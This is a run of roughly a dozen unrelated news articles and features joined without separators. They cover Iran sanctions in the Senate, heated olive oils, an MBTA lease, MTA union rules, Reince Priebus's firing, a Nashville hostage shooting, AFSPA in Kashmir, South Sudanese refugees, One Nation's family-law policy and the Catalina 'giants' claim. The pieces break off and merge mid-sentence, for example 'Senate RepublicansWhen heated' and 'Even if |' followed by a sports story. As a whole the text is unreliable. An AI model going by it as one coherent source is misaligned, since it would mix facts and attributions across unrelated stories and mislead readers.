Republicans have fumed for months over a lack of floor votes on GOP proposals, and Reid told reporters he’s aiming to open up the amendment process on the veterans bill to include “relevant amendments.” But it’s not clear that would apply to anything that has to do with Iran.
“This is an issue that should be bipartisan. There shouldn’t be partisanship on this issue, and it is too bad, really too bad, that Republicans are trying to make an issue like this partisan,” Reid said when asked if he’d allow a vote on the GOP alternative with the Iran language.
While a number of Senate Democrats had previously voiced support for Iran sanctions, Democratic support for an immediate vote has collapsed in recent weeks after President Barack Obama and his administration warned that it could disrupt ongoing diplomatic talks with Iran.
The hawkish American Israel Public Affairs Committee has also said that now is not the time for a sanctions vote.
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Iran
Senate RepublicansWhen heated to a moderate frying temperature of 350 degrees, only the unrefined sesame oil had a distinctive flavor. The other 10 seed oils tasted about the same, slightly nutty and, well, fried.
Unlike seed oils, olive oils are pressed from fresh fruits, so their flavors can vary tremendously. Of the four tested, one was an inexpensive “light” olive oil, made primarily of neutral refined oil, with very little aroma.
The other three were labeled “extra virgin,” a standard that in theory signifies an unrefined oil of good quality but in practice doesn’t signify much at all. The first two were a fruity Spanish oil and a spicy, pungent one from California. Both were international medal winners and priced accordingly, at a dollar or more a tablespoon. The third was a suspiciously inexpensive bottle from an upscale supermarket, a blend from several Mediterranean countries. It smelled stale and had a strong odor of fermented olives. These qualities should have disqualified it from extra virgin status because they indicate that the oil was made from damaged fruit.
But oil appeal is on the palate of the taster. According to a forthcoming study from researchers at the University of California, Sonoma, many California consumers actually like and expect these off flavors in olive oils, probably because they’re used to them and have had little or no experience of fresh, well-made oils.
Photo
The refined olive oil and two of three extra-virgin olive oils I tested began to smoke at a respectable 450 degrees. The inexpensive extra-virgin oil started to smell of rubber and plastic almost as soon as it became warm, and fumed at 350 degrees.
After I’d heated them, none of the olive oils had much olive flavor left. In fact, they didn’t taste much different from the seed oils.
To get a set of more expert second opinions, I took the olive oils to a meeting of the University of California’s olive oil research group. This panel of trained tasters evaluates oils from all over the world to provide guidance to California’s young olive-oil industry.
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In a blind tasting of the four unheated olive oils, the six tasters easily distinguished the medal winners from the cheaper oils and found many interesting aroma notes in them, from tea and mint to green banana, stone fruit and cinnamon.
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For the second blind tasting, I heated each oil to 350 degrees for five minutes. I also heated a sample of the Spanish oil more gently, to 300 degrees, to see whether it might retain more olive flavor.
The panelists said nothing as they swirled and sniffed the heated oils in their small tasting glasses, tinted blue to eliminate any consideration of color, then sipped, slurped and spat. The first spoken comment, immediately seconded by most of the panel members, was, “These oils all taste like popcorn.” In fact the panel ranked the heated light oil higher than the heated pricey California extra-virgin oil, whose pungency was no longer balanced by a spicy aroma and had become overbearing.
Even the defective supermarket oil had become much less offensive. This surprise led one panelist to recall that heating is part of the refining process that manufacturers use to deodorize raw oils. Cooking clearly also drives aromas out of the oil and into the air. That helps explain the harsh smell that filled our kitchen decades ago whenever my mother started to make spaghetti sauce. I hated that aroma, which came from the poor oil she must have used, but I loved her spaghetti sauce.
While it’s understandable that many people have learned to enjoy off flavors in oils, there’s a good reason to recognize staleness and rancidity for what they are and avoid them.
All cooking oils are fragile. Fresh oil begins to deteriorate as soon as it’s exposed to light, heat, oxygen or moisture, all of which can break intact oil molecules into fragments. One set of fragments is responsible for the hints of cardboard, paint and fish that we smell in stale, rancid oil.
It turns out that stale aromas, pleasant fried aromas and unpleasant scorched aromas all come from oil fragments called aldehydes that are more or less toxic to our cells, whether we eat them or inhale them during cooking. Frequent exposure to frying fumes has been found to damage the airways of both restaurant and home cooks. Fresh oils, and in particular fresh olive oils, generate the fewest toxic aldehydes.
So the choice of everyday frying oil should indeed be a matter of taste. Choose a cheap or expensive oil as you like. Fans of extra-virgin olive oil willingly pay more for its provenance and polyphenols as much as its aroma. But learn to taste the difference between good fresh oils and stale or funky ones. Buy small containers that you’ll use up in a few weeks, keep them dark and cool, and taste before you fry.The MBTA gave the go-ahead Monday for a new housing development in Quincy near the Red Line.
The new transit-oriented development is set to be built on what is now a parking lot at the North Quincy station.
MBTA General Manager Frank DePaola says that even though the lot is full most days, the T can still get more out of the land by leasing it.
"We get a facility that's maintained by a private developer that our customers can use for parking and then this property that's opened up by this development could be developed and becomes taxable property in the community," he said.
The development will bring in about $2.3 million a year for the T over the life of the 99-year lease.
Two developers, The Bozzuto Group and Atlantic Development, were selected to build the project jointly. The number of units it'll house hasn't been determined yet.
Once the building is constructed, 852 of the garage's parking spaces will be available to MBTA commuters, the same number that the lot holds now.Two months of paid leave for MTA bus drivers to recover from “assault” by spit? News that this is routine, thanks to a contract clause, has outraged New Yorkers. But MTA Chairman Jay Walder’s drive against such wasteful practices has the unions spitting mad.
One of the nicer things transit workers recently called Walder in an online forum is a “tightwad micromanager... who manages through fear rather than respect.” Others wish the union had “taken action months ago with rule book slowdowns, mass protests at Walder’s house.”
In other words, ending even the most blatant abuses will be a major battle.
Overtime kicks in by eight-hour day rather than 40-hour week. So employees earn full pay while working less by calling out sick and then making up the lost wages through (premium) overtime.
Over the last few weeks, MTA officials have steadily begun to uncover what Walder calls “the shame of the system” — wasteful work rules that prevent its various agencies from running bus, subway, rail and maintenance operations more efficiently.
For example, many bus drivers clock a 12-hour shift for driving four hours in the morning rush and four in the evening rush. For the four hours in between, they’re paid for being available — but with no work to do. Some have become pretty good pool players, Walder has noted, thanks to free time and recreational equipment at the bus depots.
The union’s response? “The MTA has agreed to these terms for 50 years — and it’s fair,” insists John Samuelson, president of Transport Workers’ Union Local 100. Fair to whom? Surely not to the tax- and fare-paying public.
Walder has begun to end some of the insanity. Maintainers of the Brooklyn-Battery Tunnel, Verrazano-Narrows Bridge and other crossings traditionally clocked an 8 am to 4 pm shift — with the first couple of hours wasted as they waited out the morning rush before starting work. Now, maintenance crews will work an 11 pm to 7 am shift for a 10 percent bonus — rather than traditional overtime wages.
Then there’s the LIRR, with its legendarily obsolete work rules. As The Post reported earlier this month, whenever crew members are switched from one train to another, they get another day’s full pay. That may have made sense back in the coal-shoveling days of railroading; in today’s world it’s a golden giveaway.
For decades, union intransigence has blocked technological advances. Real-time bus arrival information is finally being tested on Manhattan’s 34th Street — more than a decade after technology had made it possible. Union drivers didn’t want to be tracked, so union bus mechanics refused to service wheels with the rotation-counting device needed to supplement GPS in its early days.
And while the new system on the Canarsie line can run trains with no crew aboard, L trains still operate with crews of two — thanks to union work rules.
Of course practices like these are just the tip of the MTA labor-cost iceberg. The agency also faces huge pension and benefit liabilities.
And transit workers who labor in dirty, dangerous and even deadly, conditions deserve fair compensation for the work they do and the risks they take. But that doesn’t mean pay for time not worked.
In fact, work-rule waste jacks up costs for everything in New York:
* The union representing crane operators insists on having full-time “oilers” at construction sites every day. But unlike the steam-driven equipment of old, modern cranes don’t need constant lubrication.
* On building sites across the city, union operators must staff elevators — even when they have normal push-buttons for each floor.
* Told it would cost $1,000 to have a union electrician plug a laptop into the wall of a Midtown hotel, one smart customer ran out and bought a spare battery for $70 instead — and then noted it would be cheaper to buy a whole new computer than to pay the hotel electrician.
* Another Midtown hotel just lost out on hosting the Sidney Hillman Foundation awards dinner after its unionized workers said they’d refuse to serve the foundation president — because he also heads up a rival union.
* Tavern on the Green is about to become a Central Park visitor center, snack bar and retail shop because the demands of the Hotel Trades Council derailed the last attempt to renovate and reopen it. The city’s soliciting new bids, but it’s hard to see how the landmark will ever again operate as a restaurant as long as the unions refuse to accept change.
It’s hard to imagine the city’s transit system going the way of Tavern — but the fact is that outrageous work rules are slowly strangling the entire city economy. New Yorkers need to wake up and realize how often unions now fight to protect unfair pay and other privileges — at the expense of the rest of us.
Hope Cohen is associate director of Regional Plan Association’s Cen ter for Urban Innovation. She spent more than a decade at the MTA, fo cusing on new technologies for the city’s subway and bus systems.(CNN) President Donald Trump fired Reince Priebus as his chief of staff on Friday, a move that completes a purge of Washington insiders from Trump's inner circle and virtually ensures an even harder turn into his outsider rhetoric and approach.
The news, as with so much from Trump, came via Twitter just before 5 pm on the East Coast. "I am pleased to inform you that I have just named General/Secretary John F Kelly as White House Chief of Staff," Trump tweeted. "He is a Great American and a Great Leader. John has also done a spectacular job at Homeland Security. He has been a true star of my Administration."
It came after Priebus had traveled to Long Island with Trump on Friday; the President delivered a speech on the dangers posed by the MS-13 gang. It also capped an utterly fantastical -- and terrible -- week for the president in which the chaos within his administration was on public display time and again.
The Priebus firing proved, beyond a shadow of a doubt, that Trump's attempts to merge his New York and family worlds with the staider environment of official Washington had failed miserably -- and that he has clearly sided with those urging him to be more himself over those who had hoped to bend him somewhat to the ways of the nation's capital.
The ouster of Priebus came a week after White House press secretary Sean Spicer, a Priebus ally, resigned following Trump's decision to appoint Anthony Scaramucci, a New York hedge fund manager and personal friend of the President, to the job of communications director.
The intervening week was chaos -- plain and simple. Trumps' already-manic tweeting reached new highs (or lows depending on your view) as he repeatedly went after his own attorney general, Jeff Sessions, for recusing himself from the Russia investigation. Scaramucci immediately put himself in the center of this three-ring circus too -- blasting Priebus in graphic terms in an interview with the New Yorker's Ryan Lizza. (Scaramucci also bragged to Lizza about his firing of Michael Short, a Washington hand serving in the White House press shop, and insisted he was conducting a top-to-bottom staff review -- the sort of thing a chief of staff typically does.)
Trump was silent on Scaramucci's public flaying of Priebus -- a sort of tacit acknowledgment that the Mooch (as he refers to himself) was acting on the boss's orders. And, everywhere you looked were signs that Priebus' days were numbered -- a man without allies faced with a President with an itchy firing finger.
Senate Republicans' surprising failure to pass a piece of health care legislation in the early hours of Friday morning may well have sealed Priebus' fate as he was actively involved in trying to win the votes to get the bill through the Senate and to a conference committee.
Even if |
sports agent who represents many Major League Baseball players called on Congress to pass legislation that would give teams the power to penalize fans for directing racist remarks toward players, according to a Wednesday FoxSports.com report.
“I think we’d get unanimity among legislators to create a bill that would put teeth into what teams could do with the license they are given,” Scott Boras said in an interview with the sports site. “If you run on the field, that trespass gets you jail time and a criminal act. Why shouldn’t conduct of this nature get obviously a greater penalty, because it has worse damages?”
Boras said congressional legislation is needed after fans berated Baltimore Orioles outfielder Adam Jones at Fenway Park this week with racist taunts, even throwing a bag of peanuts at him while he was in the dugout.
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“We’ve got children of the next generation in those ballparks. We need legislative and congressional action so that the awareness of this provides an appropriate penalty for the crime, to give the owners and teams the ability to make conduct from fans criminal so that there is a real benefit to this newfound resolve,” he continued.
“Jackie Robinson carried the torch of our game as a spokesperson to help initiate Civil Rights legislation. This awareness needs to trigger legislation,” Boras added.
Nez Balelo, Jones's agent, told the sports site Wednesday that he and Jones will continue to press clubs to implement policies to “protect these players and stop this type of reckless behavior.”
Boras's comments come after Jones said the punishments for such treatment need to be more severe, even saying they should pay tens of thousands of dollars for such conduct.In January 2011, a black-and-white photograph began popping up on joke web sites, apparently showing Nobel Prize-winning physicist Albert Einstein pedaling a bicycle away from an atom bomb explosion in the desert. It has been meme fodder ever since.
Though it has occasionally been presented as authentic, the tableau depicted in the photo is preposterous on the face of it and more likely to elicit laughter than credulity. In point of fact, it’s a composite image constructed using two different photographs taken 29 years apart.
The portion of the image showing Einstein on a bike was clipped (and flipped horizontally) from a photograph of the scientist taken by California Institute of Technology trustee Ben Meyer on 6 February 1933 in Santa Barbara:
The background image of military and civilian observers watching a nuclear explosion in the desert was taken on 14 July 1962 — seven years after Einstein’s death — at the Frenchman Flat nuclear test site in Nevada. The occasion was the so-called “Small Boy” detonation, one of a series of four tactical nuclear warhead tests conducted that year by the U.S. Department of Defense:
In terms of historical accuracy, while it’s true that Einstein’s early theoretical work was instrumental in the conception and creation of the atomic bomb years later, Einstein himself played no practical part in that endeavor. Nor is there any public record of his having attended a nuclear weapons test.
The image does resonate in an interesting way with two statements often attributed to Albert Einstein. One has never been substantiated and is generally considered apocryphal:
I thought of [the theory of relativity] while riding my bicycle.
The other is paraphrased from a letter written by Einstein to his son, Eduard, on 5 February 1940:Armed Robber Fatally Wounded by Police After Taking Hostage
5/30/2015
An armed robber of a Murfreesboro Pike cash loan business was fatally wounded by Metro Police Sergeant Scott Carter just before noon today after the gunman put his weapon to the head of a 21-year-old employee and took her hostage.
The deceased is a 39-year-old man of Hispanic descent who is last known to have lived in Mt. Juliet. He is believed to have moved to this area from Puerto Rico. Efforts are continuing to locate a relative.
At 11:45 a.m. today, the robber drove his 2007 Toyota Avalon into the parking lot of Easy Cash Solutions Loan Center at 1128 Murfreesboro Pike. He stopped the car in the middle of the lot outside the front door to the business and went inside. In doing so, he left the driver’s door of the Avalon open and the motor running. The license plate of the car had been removed and was later found on the passenger floorboard of the car.
An employee of neighboring Direct Auto Insurance became immediately suspicious when he saw how the robber parked. When he heard a commotion coming from inside the loan business, he activated the insurance company’s silent robbery alarm.
South Precinct Sergeant Scott Carter was in the immediate area when the robbery-in-progress call was broadcast over the police radio. As he arrived, Sergeant Carter saw the strangely parked Avalon and cautiously approached Easy Cash Solutions. Carter opened the front door and was immediately threatened at gunpoint by the robber. Carter fired in self-defense and backed out of the business. Moments later, the gunman came outside holding the 21-year-old female employee around the neck and a gun to her head. Carter demanded that the robber drop his weapon and surrender. The courageous young woman believed she had an opportunity to free herself and began struggling with the robber. Just as she was breaking away, Carter fired on the man, fatally wounding him. The woman was unharmed and actually took the gun from the robber’s hand. An examination of the gun after the shooting showed that it was an air pistol.
The 21-year-old victim, a new employee at Easy Cash Solutions, later told detectives that the masked and gloved gunman came into the business and demanded money. After going to cash drawers, he demanded that she open the safe, all the while threatening to kill her.
The same office of the loan business was robbed of a significant amount of cash last Saturday at midday. The gunman in that case was also masked and gloved. Detectives are investigating whether last week’s robber and the one today are the same person.
Sergeant Carter, age 42, is a 17-year veteran of the MNPD. He is on routine administrative assignment while the shooting is investigated.NEW DELHI: The Army remains dead against any move to'revoke', 'partially withdraw' or 'dilute' the iron-fisted and controversial Armed Forces Special Powers Act (AFSPA) from Jammu and Kashmir, even as BJP and PDP negotiate a power-sharing deal for the next government in the state.Though civil rights activists as well as political parties like People's Democratic Party and National Conference have long been demanding revocation of the "draconian" ASFPA, the Army has reiterated to the Modi government that the Act is "an enabling legislation" that empowers its troops to conduct counter-terrorist operations effectively in the strife-torn state.There is "absolutely no change" in the Army's long-standing view that AFSPA gives its soldiers the requisite operational flexibility and legal safeguards to operate in a "hostile" environment, where Pakistan can turn on the terror tap with full flow as and when it wants.Brushing aside any need for a "political gesture or initiative" on the matter, the Army says any dilution in AFSPA safeguards would be "premature" at this stage since Pakistan still has 44 terror-training camps directed against India on its soil, with at least 17-18 of them still operating round-the-clock. "Yes, violence levels in J&K are certainly down, with the state polls being held without any major incident. But the government should adopt a wait-and-watch policy to ensure there is no major terror blowback," said an official.The defence establishment had used this stance during the UPA regime to scuttle moves by then home minister P Chidambaram to bring in some amendments to AFSPA or withdraw it from largely violence-free districts like Srinagar, Budgam, Jammu and Sambha.The Army's position remains the same. "Withdrawing AFSPA from a few areas in J&K could lead to a dip in the overall security situation like it happened around Imphal in Manipur. Army convoys move on NH-1A as well as lateral links all the time… there should be no militant safe havens along the routes," said another official.But what about the equally persistent demands for changes in Sections 4 and 7 of AFSPA, which accord far-reaching powers and legal safeguards to security forces while undertaking counter-terrorism operations, to make the Act more humane and impervious to misuse.Section 4, for instance, gives security personnel sweeping powers to search premises and make arrests without warrants, "use force, even to extent of causing death", destroy arms dumps, hideouts and to stop, search and seize any vehicle.The Army contends that its operations against motivated, well-armed and trained militants in insurgency-hit areas cannot be compared with normal law and order duties. If soldiers do not have the legal shield against being dragged to civilian courts, their "initiative and determination" to take on militants will take a major beating, it says.Refugees were still arriving in "critical condition" to seek shelter at UN camps in Uganda's remote northwestern bush lands with one-in-five children suffering from severe malnutrition, according to the latest reports.
The influx from South Sudan soared after a peace deal collapse last July during encounters in Juba between President Salva Kiir and opposition leader Riek Machar. Battles broke out between their armed supporters.
Refugees arriving at Ugandan border crossings often had "bullets remaining in their legs" and severe bleeding, Ugandan government nutrition specialist Rufaaaya Asiyati told the AP news agency. "Others have come with parts amputated.
Violence in southern hub
Refugees crossing into Uganda told of brutal violence, with unidentified gunmen killing, raping and arresting civilians based on their ethnicity in South Sudan's southern trading city of Yei.
A former municipal officer, Taban Jackson, now at Bidi Bidi, the largest of the camps in Uganda, said violations were widespread.
Arrivals into Uganda peaked at a daily average of 2,700 in the first half of November, according to the UNHCR. Water shortages at Bidi Bidi had been a "major issue."
Staff were overworked and unreliable power supplies often meant outages.
Earlier this month, Belgium allocated three million euros ($3.1 million) to the DR Congo and Uganda UNHCR country operations to address the South Sudan situation with up to a million refugees reported to be in need.
Genocide warning
Despite warnings by retiring UN chief Ban Ki-moon of a possible genocide in South Sudan, a vote in the Security Council on Friday fell short of the nine-vote majority it needed to pass. Only seven Council members voted in favor of the US sponsored resolution that had called for an arms embargo and targeted sanctions. Eight members abstained.
Russia accused Western nations of ignoring a "reconciliation" speech by President Salva Kiir on December 14. The US warned that an "unbearable price" would be paid by South Sudanese people because of UN inaction.
Ulrich Delius, a spokesman for the German branch of the Society for Threatened Peoples, described theUN Security Council vote outcome as a "free ticket for new crimes" in South Sudan.
A South Sudan government soldier in Malakal
Three million displaced
In all, more than three million people have fled their homes in South Sudan, the world's newest nation created in 2011 through independence from Sudan.
The UN's refugee agency (UNHCR) said more than 1.3 million South Sudanese have sought refuge abroad - in Uganda, Ethiopia, Sudan, Kenya, the Democratic Republic of Congo and the Central African Republic.
Inside South Sudan, some 1.8 million have been internally displaced, including 205,000 people who have taken shelter at UN civilian protection sites.
In August, the UN Security Council authorized an additional 4,000 troops from African nations for the more than 12,000-strong UN peacekeeping force in South Sudan. Currently, it includes 16 German Bundeswehr soldiers.
ipj/jm (AP, Reuters, AFP, KNA)With Queensland voters still undecided between the major parties, One Nation could hold the balance of power in a hung parliament.
One of the party's key policies is changes to the family law system - including the question of who gets access to the kids after separation. The One Nation policy appeals to men who feel 'bias' in the family law system has made them and others the silent victims of "family breakdown".
In April of this year, members of the Facebook group Blokes Advice (BA) met with representatives of One Nation for what one of the group's admins calls "a mashing of minds".
BA is a men's only closed'secret' Facebook group of more than half a million members, with at least half of those members in Queensland. Facebook shut the group down in August of last year after it was accused of glorifying rape and violence against women. It was immediately reformed and administrators say the kinds of posts that got it shut down are not allowed any more.
It's also dipped its toe into advocacy issues. One of its big ones is family law reform, or what an administrator of the group, Ash Smith, calls: "family law reform, gender equality, father's rights and men's health/depression and suicide prevention".
Ash says One Nation reached out to BA admins to sound out what the huge membership wanted.
"Our meeting lasted three, three-and-a-half hours," he told Hack.
"We were discussing what we wanted out of the country.
"They came to see what we are, because we represent Australians in general."
Brotherhood of Fathers, BA and One Nation
BA doesn't officially support any political party, and, if it did, it's not clear which way members would vote. Ash says One Nation didn't ask BA to post any material or support its campaign. He brought along to the meeting a portfolio of printed Facebook posts from members who had written about losing access to their children. These kinds of deeply personal accounts are fairly regular on BA.
About six months after that meeting, and shortly before the Queensland Premier called a snap election, One Nation launched a policy on family law reform, built around what it identified as a national crisis of fathers killing themselves due to access issues.
On the day of the launch, the party's Queensland leader Steve Dickson said he had been told the "anecdotal" figure was as high as 21 fathers a week. This was echoing Pauline Hanson's maiden speech to the Senate, made almost a year earlier. The Senator declared: "on average three men a day... take their lives due to family breakdowns."
We'll take a look at the basis of this figure below. But regardless of accuracy, the "anecdotal number" has been circulating on online groups like Blokes Advice, where it's often quoted as a confirmed statistic alongside members' stories of losing access.
The force behind #21Fathers is the Australian Brotherhood of Fathers (ABF), started by men's rights activist Leith Erikson. The ABF and One Nation have hosted sausage sizzles together. Leith did not respond to Hack's request for an interview.
Leith is a member of BA, is often tagged in posts about family access issues, and Ash the admin says he's offered Leith the chance to use BA "as an advertising avenue".
"If you want to get the word out to half a million blokes, I said to him by all means."
Fifty per cent of our members need something like ABF."
For example, on September 30 a member posted: "The black dog has hit me hard today, today is my son's first birthday, but the ex is stopping me being able to see him at all, why do women think they have the right to stop fathers seeing their kids."
There were hundreds of likes and comments. Leith Erikson and the ABF were namechecked as a source of hope: "He is doing incredible work and has played a huge role in exposing the truth of an immoral system to Pauline Hanson."
A post on November 21 about "why 21 father's die a week on average" had over 4,000 likes and hundreds of comments of sympathy and understanding.
For BA, this simmering discontent with the family law system found its expression in early October, when a member posted about a young man sitting on the corner of a street on the Sunshine Coast. The man had a sign with the words "I want to see my son" and declared he would camp on the spot until he had access to his son again. BA rallied to the cause. Ash Smith says he immediately "went down to the Woolworths at Springfield and bought $220 worth of sausages".
Dozens of members came down for a barbecue and the combined Facebook posts had tens of thousands of likes and comments.
It was never made clear why the man did not have access to his son.
'Hard to say which way BA voters would go'
Even if a lot of BA members support One Nation's version of family law reform it doesn't meant they'll vote for the party on Saturday. In the past, members have expressed disagreement with the party's anti-unionism or anti-immigration stance. Most on BA seem to support same-sex marriage, while One Nation does not. Many on BA explicitly do not support One Nation.
At the same time, 'family law reform' is the only political issue on the page that seems to have overwhelming, consensus support. It has 'cut-through'. It's become more prominent as the page has tried to transform its reputation through advocacy causes.
Does this indicate a groundswell of support, which One Nation may be trying to tap for an election that could be decided in a few seats by a few thousand votes?
"Without throwing a poll up in the group for half a million to vote on it's hard to say which way the majority of voters from BA would go," Ash told Hack.
"But I do think that out of all the political parties One Nation is the strongest on domestic violence and family law."
What is One Nation proposing?
One Nation outlines its "Keep Families Connected" domestic violence policy here. The party says the role of fathers is overlooked or deliberately undervalued in the family law system.
Here's what it wants:
Court orders - like an against a person who makes you fear for your safety, an Apprehended Violence Order - to not necessarily restrict a patient's access to their children.
Allegations of abuse to be proven with medical records or police convictions - effectively narrowing the existing definition of abuse. In 2012, the courts expanded the definition of family violence to include emotional abuse and things like controlling, manipulative behaviour.
'Consent without admission' scrapped. That's when one parent makes an application for a Domestic Violence Order, and the accused parents agrees to the conditions of the order without agreeing to what was alleged. One Nation says both parties should be present in court so allegations can be challenged before orders are imposed.
In summary, One Nation says a man (or woman) who has hit their partner should not have access to their children. The important detail here is that One Nation says the partner should continue to have access to children up until that physical violence is proven in court.
In selling its family law reform policy, One Nation uses the phrase "gender-neutral". The party's Queensland leader Steve Dickson says the focus on female victims of domestic violence is a sign that the government is not protecting male victims.
"Anyone who doesn't want to make it gender-neutral, they're basically saying one is better than the other," he told Hack.
"I don't think that's acceptable in today's society."
According to the Australian Bureau of Statistics (ABS), around one in six women have experienced physical violence by a partner, compared with one in seventeen men. The ABS also says the vast majority of male and female victims of physical assault reported that the offender was male.
Despite the "gender neutral" phrasing, opponents immediately attacked One Nation's policy as based on the advice of "a few angry men". The Liberal Nationals Party family violence spokeswoman said Steve Dickson had been "brainwashed by a few jilted men caught up in custody battles".
Where does the 21 deaths a week figure come from?
Steve Dickson said the figure of 21 deaths a week was based on a conversation he'd had with an ambulance paramedic in his electorate who had read suicide notes.
"He came to me and he said, Steve, I'm going to jobs all the time and we're finding people who've [died by] suicide and they've got notes beside them explaining they've gone through the family court system," he said.
He said the figure was "anecdotal" and but "I'm waiting for somebody to come and tell me it's wrong." The ABS does not collect statistics on the number of fathers who have died by suicide because of loss of access to their children.
The Australian Brotherhood of Fathers, which has run an entire campaign around the figure, also said the number was based on "anecdotal evidence".
"We didn't produce a statistic we merely researched how they came to suggest 3 a day was a national average and reported this as part of an awareness campaign #21fathers," they write.
The Australian Bureau of Statistics says that more than 42 men die by suicide a week.
But there's no data collected on how many of them are dads, or whether or not they have had relationship breakdowns. There's also no firm data on contributing factors to suicide, like mental illness and substance abuse.
There is research from the Australian Institute for Suicide Research and Prevention at Griffith University to suggest that shame immediately after separation heightens a man's risk of suicide. However, that research does not refer specifically to fathers, and found that as time goes on, the risk reduces.
It's very likely there are men who have taken their own lives due to losing access to their children, and every one of these deaths is a tragic loss.
There are however, no statistics showing that every week 21 men are killing themselves due to family breakdown.
Are false claims of abuse common?
Pauline Hanson has said allegations of abuse made by women aren't tested rigorously enough in the courts and these "frivolous complaints" were also tying up the court system.
"You know, someone going out there and claiming domestic violence because they're told 'I don't like the colour of the dress you're wearing'," she said last year.
This narrative of "frivolous complaints" ignores the fact most divorces are resolved amicably or through mediation that occurs outside of the court system. If they proceed to court, they first go through the Federal Circuit Court. The Family Court only sees the worst of the worst - cases involving domestic violence, crime and serious mental illness. The majority of divorces never end up in the Family Court.
Despite this, men's stories of going through the family court system, recounted in sympathetic forums like BA, create a perception of widespread "family breakdown".
Director of the the Men's Legal Service in Brisbane, James Stokes, says "without a doubt" false allegations of abuse are made against men.
But he says sometimes men may not believe they're perpetrating family violence, because there is no physical harm - they may not recognise emotional abuse as violence.
The courts are also overworked, with judges sometimes having as little as 15 minutes to issue court orders that can have long-lasting ramifications. According to the Law Council of Australia, some judges in the Federal Circuit Court have a docket list of 500 cases and deal with 20 or 30 cases on an average day - that's a backlog of weeks for a short moment in court.
James Stokes says he tells clients it can take 12 to 18 months to get an outcome, if they end up going all the way through the process.
University of Sydney law professor Patrick Parkinson says the Family Court does sometimes get it wrong in determining what is an ongoing, credible threat.
"Any history of violence, however long in the past, however minor in the scale of things it may be, triggers the same response," Patrick said.
"They're not deemed suitable for mediation, they need to be fast tracked through the system."
"We need to focus on the cases where there's a current risk of harm."
But he says talk of an "epidemic of false claims of violence or abuse" is overblown.
Law Council of Australia President Fiona McLeod said there may be a perception of women making false claims simply because women are speaking out about abuse.
"We have seen an explosion in Victoria... of the number of complaints of domestic violence," she said.
"[There's] growing community awareness that women don't have have to put up with this anymore."
Is the family court system actually biased?
Since 2006, the courts have been instructed to take into account the potential for kids to have meaningful relationships with both parents, unless that compromises their safety.
Zoe Rathus, a law lecturer at Brisbane's Griffith University, has gone through the data of court outcomes issued by the Australian Institute of Family Studies (AIFS).
The data shows limiting access to children is very unusual.
"Sole parental responsibility and orders for no time with an abusive parent only occurred in very extreme cases where there was significant physical violence," Zoe said.
"It was a very, very rare outcome."
Where there's no allegations of abuse or violence, the court only awards sole rights to one parent in one out of ten cases, Zoe said.
But even in cases where there are allegations of sexual abuse or domestic violence, shared parental responsibility is the norm. In fact, in seven out of ten cases where these kinds of allegations are made, both parents still got shared access, according to the AIFS stats.
University of Sydney's Patrick Parkinson said only about seven in every 100 cases that begin in the courts will end up being decided by a judge.
"Most cases will settle along the way somewhere," he said.
He said the decisions made in the Family Court reflect the expectations of society that mothers will raise children, at least in their early years.
"It's not at all uncommon or unexpected that after separation the primary care of those children continues with mum," Patrick said.
In September, the Federal Government announced the Australian Law Reform Commission would run a wide-ranging inquiry into the family law system. All of the experts interviewed for this story called for more resources for the Federal Circuit Court and Family Court.Throughout cultures all over the world there have long been legends of giants living amongst us, colossal beings that our ancestors saw and even worshipped, but these creatures seem to have been lost to time and regulated to pure myth. Yet is there any chance that true giants really did exist at some point? There have been many theories of this and even supposed evidence dug up from time to time in the form of bones or even full skeletons of giants, and one of the most sensational such claims of its time was made on a tiny island lying just off the coast of California. Was this land once roamed by real giants?
Lying just off the coast of the U.S. state of California, around 22 miles southwest of Los Angeles, is the quaint Santa Catalina Island, also called simply Catalina Island. The 22 mile by 8 mile island is part of the Channel Islands archipelago and incorporated into Los Angeles County, and it also has a rather colorful history. Originally settled by the Gabrielino/Tongva tribe of Native Americans in around 7000 BC, the island was claimed by Spain in 1542 and later it passed into the possession of Mexico and after that to the United States. Catalina Island was long used as a base of operations for a variety of nefarious sorts, including smugglers and otter poachers, until it was eventually turned into a tourist resort in the 1920s by the tycoon William Wrigley, Jr., of the chewing gum empire. Although the island is now a popular tourist destination and frequently visited by vacationers from nearby Los Angeles, which lies only an hour boat ride away, there is another odd facet of the island’s history that most people may be unaware of.
In 1896 a 15-year-old boy named Ralph Glidden moved to Catalina Island with his family, where he would go on to find work as a carpenter before developing a burgeoning interest in the various Indian artifacts and middens and burial sites to be found scattered about the Channel Islands after he purportedly stubbed his toe on a human skull while looking for pearls on San Nicolas Island. He then became obsessed with such things and became an amateur archeologist of sorts, going on to organize numerous excavations to uncover ancient burial sites on Catalina Island between the years of 1919 and 1928.
During these excursions he uncovered an alleged 800 secret burial sites around the island and a myriad of Indian artifacts and relics, as well as thousands of ancient Native remains, which he often sold to museums and collectors. When William Wrigley, Jr. bought the island in the 1920s, he went about ensuring that these artifacts would be preserved, and ordered that all such finds would be the exclusive property of the Field Museum of Natural History of Chicago. Interestingly, the Heye Foundation, to whom Glidden had sold a large amount of such remains and relics, was contracted by the the museum to carry out all excavations on Catalina Island, and he managed to snag a top spot in this pursuit, which enabled him to keep up his excavations uninhibited.
Unfortunately for Glidden, in 1924 the foundation cut all funding, and he was forced to keep his head above water by opening a ramshackle museum for his finds in the town of Avalon, on Catalina Island, which he called the “Catalina Museum of Island Indians,” and where he exhibited his discoveries to anyone willing to pay admission. The whole museum was a rather grim and gruesome affair, utilizing Indian skeletons as decorations and upping the spooky factor, but it worked in that it drew slews of curiosity seekers even as he amassed more for his collection. It could all be seen in retrospect as rather exploitative, turning these priceless treasures form the past into macabre exhibitions for the curious and making money off of them, but by all accounts Glidden was actually quite serious about the scientific pursuit of archeology, and in those days this sort of behavior was sort of par for the course concerning ancient artifacts and remains.
Yet among all of the curious discoveries made by Glidden was the most bizarre of all; his claim that he had uncovered a race of giants who had once inhabited the island. He would come forward to announce that during his excavations he had come across several skeletons across the island that were far larger than normal humans, measuring an alleged 7 to 9 feet tall. This he would concoct into a theory that the island had once been inhabited by a race of fair-skinned, blue-eyed giants, with the average height of a full grown male estimated as being around 7 feet. The claim of course generated widespread media interest, and in one issue of the The Ogden Standard-Examiner, Nov. 10, 1929, it was written:
He (Glidden) claims overwhelming proof that a fair skinned, fair haired, highly intelligent race of great stature lived on Catalina Island, off the southwestern coast of California, perhaps three thousand years ago, and that his excavation of a huge cache of skeletons, domestic utensils, urns, wampum, etc., is quite out of the ordinary class of Indian discoveries. A skeleton of a young girl, evidently of high rank, within a large funeral urn, was surrounded by those of sixty four children, and in various parts of the island more than three thousand other skeletons were found, practically all the males averaging around seven feet in height, one being seven feet eight inches from the top of his head to the ankle, and another being 9 feet 2 inches tall.
